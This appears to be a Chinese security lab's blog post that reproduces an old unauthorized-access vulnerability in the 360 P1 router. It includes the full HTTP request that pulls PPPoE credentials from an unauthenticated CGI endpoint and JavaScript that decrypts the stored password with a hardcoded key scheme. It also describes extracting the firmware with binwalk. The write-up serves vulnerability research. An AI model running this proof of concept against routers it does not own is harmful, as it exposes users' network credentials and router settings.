Skip to content

Latest commit

 

History

History
170 lines (79 loc) · 6.36 KB

[暗魂攻防实验室]-2023-8-5-【漏洞复现】360路由器P1未授权访问漏洞复现.md

File metadata and controls

170 lines (79 loc) · 6.36 KB

【漏洞复现】360路由器P1未授权访问漏洞复现

原创 G4br1el 暗魂攻防实验室

暗魂攻防实验室

微信号 anhunsec-red

功能介绍 专注于网络空间安全、红蓝攻防对抗、渗透测试等技术研究


__发表于

收录于合集 #漏洞复现 11个

点击蓝字 关注我们


微信搜一搜 暗魂攻防实验室

前言

闲来无事,6点多起来打扫房间时发现之前在闲鱼买的古老的360路由器P1,想着能不能getshell,只不过在网上只找到了未授权访问漏洞,所以先复现一下。360安全路由P1存在未授权访问漏洞(可读取密码),不过这是很古老的漏洞了,需要刷回最老的固件才存在此漏洞,乌云漏洞编号:wooyun-2015-0143408。固件下载地址:http://luyou.dl.qihucdn.com/luyou/360POP-P1-V0.7.0.18.bin

这一系列cgi不需要登录即可访问


javascript/router/wan_config_show.cgi,javascript/router/wan_config_set.cgi,javascript/router/log_get.cgi  
其中:javascript/router/wan_config_show.cgi通过post可直接获取上网设置信息,包括ppoe用户名和密码。  
javascript/router/wan_config_set.cgi提交post可以直接设置各种东西

漏洞复现


POST /javascript/router/wan_config_show.cgi HTTP/1.1Host: 192.168.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Qihoo_360_login=3a1cca690f360155cc7099d537513719Connection: closeContent-Length: 11  
uiname=WAN1

通过POST提交参数,可以找到PPPOE的账号密码,账号是admin,密码是进行加密,密码的解密函数就是new_lib.js脚本中的函数getDAesString()

解密脚本:


function getDAesString(str, keys) {  var ciphertext = str.substr(32, str.length - 32);  var lengthKeyObj = {};   if (keys) {      lengthKeyObj.rand_key = keys;  } else {      lengthKeyObj = get_rand_key(0, str, true);  }   if (!lengthKeyObj.rand_key) {      return str;  }  var key = CryptoJS.enc.Hex.parse(lengthKeyObj.rand_key);  var iv = CryptoJS.enc.Latin1.parse("360luyou@install");  var str16T64 = CryptoJS.enc.Hex.parse(ciphertext).toString(CryptoJS.enc.Base64);  var decrypted = CryptoJS.AES.decrypt(str16T64, key, {      iv: iv,      mode: CryptoJS.mode.CBC,      padding: CryptoJS.pad.Pkcs7  });  return decrypted.toString(CryptoJS.enc.Utf8);}  
function test() {  var uiname = $("#common_uiname").val();   $.post("javascript/router/wan_config_show.cgi", { uiname: 'WAN1' }, function (data) {      var data = dataDeal(data);      wan_setup_data = data;       if (data && data.COMMON && data.COMMON.connect_type && data.PPPOE) {          wan_setup_data.PPPOE.pass = getDAesString(wan_setup_data.PPPOE.pass);      }      alert(wan_setup_data.PPPOE.pass);  });}

直接在浏览器F12控制台中输入解密脚本,然后通过test()调用,即可解密PPPOE的密码为1234567

固件提取

在IOTsec-Zone论坛上找到了固件提取的文章,进而可以进行代码审计。这里就尝试一下。

首先工具需要:firmware-mod-kit或者binwalk,binwalk是kali自带(最新版kali是需要下载的)

firmware-mod-kit工具的功能和binwalk工具的类似,其实firmware-mod- kit工具在功能上有调用binwalk工具提供的功能以及其他的固件解包工具的整合

firmware-mod-kit工具安装(我记得kali好像已经有了):


apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic  
git clone https://github.com/mirror/firmware-mod-kit.gitcd firmware-mod-kit/src./configure && make

固件提取:

binwalk -Me 360POP-P1-V0.7.0.18.bin --run-as=root

提取出来的文件名是_360POP-P1-V0.7.0.18.bin.extracted,效果是:

代码是在squashfs-root文件夹上,里面的web就是路由器后台管理的界面代码啦,可以进行代码审计等等

不过binwalk好像已经是提取出来了,如果是其他路由器,binwalk出来只有16D842.squashfs这种格式的文件,所以还需要进一步的用unsquashfs进行提取

unsquashfs 16D842.squashfs

提取的效果也就是上面的squashfs-root文件夹

只有一个80端口开了,没有啥洞进入底层shell呢。。。。

联系微信客服 扫码联系暗魂攻防实验室


【渗透测试】春秋云镜靶场- Time

【渗透测试】春秋云镜靶场- Tsclient

【渗透测试】春秋云镜靶场- Privilege

【渗透测试】春秋云镜靶场- Initial

微信搜一搜暗魂攻防实验室

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看